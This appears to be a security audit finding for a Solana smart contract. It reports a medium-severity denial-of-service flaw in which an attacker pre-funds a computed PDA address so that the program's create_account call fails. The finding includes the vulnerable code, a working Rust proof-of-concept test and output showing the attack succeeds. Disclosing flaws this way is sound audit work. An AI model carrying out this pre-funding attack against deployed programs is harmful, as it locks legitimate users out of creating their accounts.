MEDIUM severity: `create_account` can be dosed with pre-funding. **Description:** Instructions like `new_holder_account` create PDAs using `system_instruction::create_account` with `invoke_signed`. Per Solana system program rules, `create_account` fails if the target already **exists with non-zero lamports or data**.

An attacker can pre-calculate the PDA and...

Vulnerable code:
let account_size = size_of::<HolderAccountHeader>();
invoke_signed(
    &system_instruction::create_account(
        holder_admin.key,
        holder_acc.key,
        Rent::default().minimum_balance(account_size),
        account_size as u64,
        program_id,
    ),
    &[holder_admin.clone(), holder_acc.clone()],
    &[&[HOLDER_SEED, holder_admin.key.as_ref(), &[bump_seed]]],
)
.map_err(|err| drv_err!(err.into()))?;

/// Test to demonstrate PDA DOS attack vulnerability
///
/// This test simulates an attacker pre-calculating the PDA address
/// and pre-funding it to prevent the admin from creating the Holder Account
#[tokio::test]
async fn test_holder_account_dos_attack() {
    let program_id = Pubkey::from_str(PROGRAM_ID).unwrap();

    // Create program test environment
    let mut test = ProgramTest::new(
        "smart_contract",
        program_id,
        processor!(smart_contract::process_instruction),
    );

    // Setup admin and attacker accounts
    let admin_signer = Keypair::from_bytes(CLIENTS[0].kp).unwrap();
    let attacker = Keypair::new();

    // Add accounts to test environment with initial SOL balance
    test.add_account(
        admin_signer.pubkey(),
        Account {
            lamports: 10_000_000_000, // 10 SOL
            data: vec![],
            owner: system_program::id(),
            executable: false,
            rent_epoch: 0,
        },
    );
    test.add_account(
        attacker.pubkey(),
        Account {
            lamports: 10_000_000_000, // 10 SOL
            data: vec![],
            owner: system_program::id(),
            executable: false,
            rent_epoch: 0,
        },
    );

    // Attacker pre-calculates the PDA address using the same seeds as the protocol
    let (pda_address, _) = Pubkey::find_program_address(
        &[HOLDER_SEED, admin_signer.pubkey().as_ref()],
        &program_id
    );

    println!("🎯 Attacker pre-calculated PDA address: {}", pda_address);

    // Start the test context
    let mut ctx = test.start_with_context().await;

    // Attacker pre-funds the PDA address to make it balance non-zero
    let transfer_instruction = system_instruction::transfer(
        &attacker.pubkey(),
        &pda_address,
        1_000_000, // Transfer 0.001 SOL, mimic minimum balance
    );

    let transfer_transaction = Transaction::new_signed_with_payer(
        &[transfer_instruction],
        Some(&attacker.pubkey()),
        &[&attacker],
        ctx.last_blockhash,
    );

    let result = ctx.banks_client.process_transaction(transfer_transaction).await;
    assert!(result.is_ok(), "Attacker should be able to pre-fund PDA address");

    println!("✅ Attacker successfully pre-funded PDA address");

    // Admin attempts to create Holder Account
    println!("Admin attempts to create Holder Account");
    let mut tx = Transaction::new_with_payer(
        &[Instruction::new_with_bytes(
            program_id,
            &[0], // NewHolderInstruction
            vec![
                AccountMeta {
                    pubkey: admin_signer.pubkey(),
                    is_signer: true,
                    is_writable: true,
                },
                AccountMeta {
                    pubkey: pda_address,
                    is_signer: false,
                    is_writable: true,
                },
                AccountMeta {
                    pubkey: system_program::ID,
                    is_signer: false,
                    is_writable: false,
                },
            ],
        )],
        Some(&admin_signer.pubkey()),
    );
    tx.sign(&[&admin_signer], ctx.last_blockhash);

    // Admin creation should fail because PDA is pre-occupied
    let result = ctx.banks_client.process_transaction(tx).await;

    if result.is_err() {
        println!("🚨 DOS ATTACK SUCCESSFUL: Admin failed to create holder account");
    } else {
        println!("❌ Test failed: Admin creation should have failed but didn't");
    }
}

running 1 test
[2025-10-30T01:37:51.898533000Z INFO  solana_program_test] "smart_contract" builtin program
🎯 Attacker pre-calculated PDA address: 5zAb3ZhCNjTwoMxK39fheR4fXbuArMJVN9bhaeQkZHrq
[2025-10-30T01:37:52.011771000Z DEBUG solana_runtime::message_processor::stable_log] Program 11111111111111111111111111111111 invoke [1]
[2025-10-30T01:37:52.011914000Z DEBUG solana_runtime::message_processor::stable_log] Program 11111111111111111111111111111111 success
✅ Attacker successfully pre-funded PDA address
Admin attempts to create Holder Account
[2025-10-30T01:37:52.013452000Z DEBUG solana_runtime::message_processor::stable_log] Program Drvrseg8AQLP8B96DBGmHRjFGviFNYTkHueY9g3k27Gu invoke [1]
[2025-10-30T01:37:52.013485000Z DEBUG solana_runtime::message_processor::stable_log] Program Drvrseg8AQLP8B96DBGmHRjFGviFNYTkHueY9g3k27Gu invoke [1]
[2025-10-30T01:37:52.013963000Z DEBUG solana_runtime::message_processor::stable_log] Program 11111111111111111111111111111111 invoke [1]
[2025-10-30T01:37:52.014048000Z DEBUG solana_runtime::message_processor::stable_log] Program 11111111111111111111111111111111 invoke [2]
[2025-10-30T01:37:52.014070000Z DEBUG solana_runtime::message_processor::stable_log] Create Account: account Address { address: 5zAb3ZhCNjTwoMxK39fheR4fXbuArMJVN9bhaeQkZHrq, base: None } already in use
[2025-10-30T01:37:52.014101000Z DEBUG solana_runtime::message_processor::stable_log] Program 11111111111111111111111111111111 failed: custom program error: 0x0
{"code":100,"error":{"Custom":0},"location":{"file":"src/program/processor/new_holder_account.rs","line":63},"msg":"System error Custom program error: 0x0"}
[2025-10-30T01:37:52.014285000Z DEBUG solana_runtime::message_processor::stable_log] Program Drvrseg8AQLP8B96DBGmHRjFGviFNYTkHueY9g3k27Gu failed: custom program error: 0x64
[2025-10-30T01:37:52.014303000Z DEBUG solana_runtime::message_processor::stable_log] Program Drvrseg8AQLP8B96DBGmHRjFGviFNYTkHueY9g3k27Gu failed: custom program error: 0x64
🚨 DOS ATTACK SUCCESSFUL: Admin failed to create holder account
test instructions::test_holder_dos::test_holder_account_dos_attack ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 1 filtered out; finished in 0.24s